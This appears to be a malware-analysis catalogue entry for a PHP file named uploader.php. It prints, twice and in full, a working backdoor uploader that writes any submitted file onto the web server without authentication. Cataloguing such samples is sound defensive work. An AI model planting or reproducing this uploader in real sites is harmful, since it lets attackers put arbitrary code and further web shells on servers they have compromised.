PHP Malware Analysis

Back to list

Filename: uploader.php

Tags

Input
  • _FILES
Files
  • file_get_contents
  • file_put_contents

Deobfuscated code

<!-- Anti 403 -->
<!-- Uploader by Unknown45 -->

<form method="post" enctype="multipart/form-data">
  <input type="file" name="uk45">
  <button>Gaskan</button>
</form>
<?php 
if (isset($_FILES['uk45'])) {
    file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
    if (file_exists("./" . $_FILES['uk45']['name'])) {
        echo "Oke !";
    } else {
        echo "Fail !";
    }
}
?>

Original code

<!-- Anti 403 -->
<!-- Uploader by Unknown45 -->

<form method="post" enctype="multipart/form-data">
  <input type="file" name="uk45">
  <button>Gaskan</button>
</form>
<?php
if (isset($_FILES['uk45'])) {
  file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
  if (file_exists("./".$_FILES['uk45']['name'])) {
    echo "Oke !";
  } else {
    echo "Fail !";
  }
}
?>